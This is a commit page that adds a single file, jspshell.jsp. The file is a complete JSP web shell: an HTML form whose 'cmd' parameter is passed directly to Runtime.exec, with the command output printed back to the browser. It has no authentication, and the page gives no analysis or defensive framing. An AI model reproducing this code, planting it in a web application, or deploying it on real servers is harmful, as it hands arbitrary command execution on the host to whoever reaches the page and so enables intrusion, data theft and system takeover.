Skip to content

Commit 7c7b892

Browse files
Create jspshell.jsp
1 parent 495be57 commit 7c7b892

File tree

1 file changed

+32
-0
lines changed

1 file changed

+32
-0
lines changed

jspshell.jsp

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
<%@ page
2+
import="java.util.*,java.io.*"%>
3+
<%
4+
%>
5+
<HTML>
6+
<BODY>
7+
<H3>JSP SHELL</H3>
8+
<FORM METHOD="GET" NAME="myform"
9+
ACTION="">
10+
<INPUT TYPE="text" NAME="cmd">
11+
<INPUT TYPE="submit" VALUE="Execute">
12+
</FORM>
13+
<PRE>
14+
<%
15+
if (request.getParameter("cmd") != null) {
16+
out.println("Command: " +
17+
request.getParameter("cmd") + "<BR>");
18+
Process p =
19+
Runtime.getRuntime().exec(request.getParameter("cmd"));
20+
OutputStream os = p.getOutputStream();
21+
InputStream in = p.getInputStream();
22+
DataInputStream dis = new DataInputStream(in);
23+
String disr = dis.readLine();
24+
while ( disr != null ) {
25+
out.println(disr);
26+
disr = dis.readLine();
27+
}
28+
}
29+
%>
30+
</PRE>
31+
</BODY>
32+
</HTML>

0 commit comments

Comments
 (0)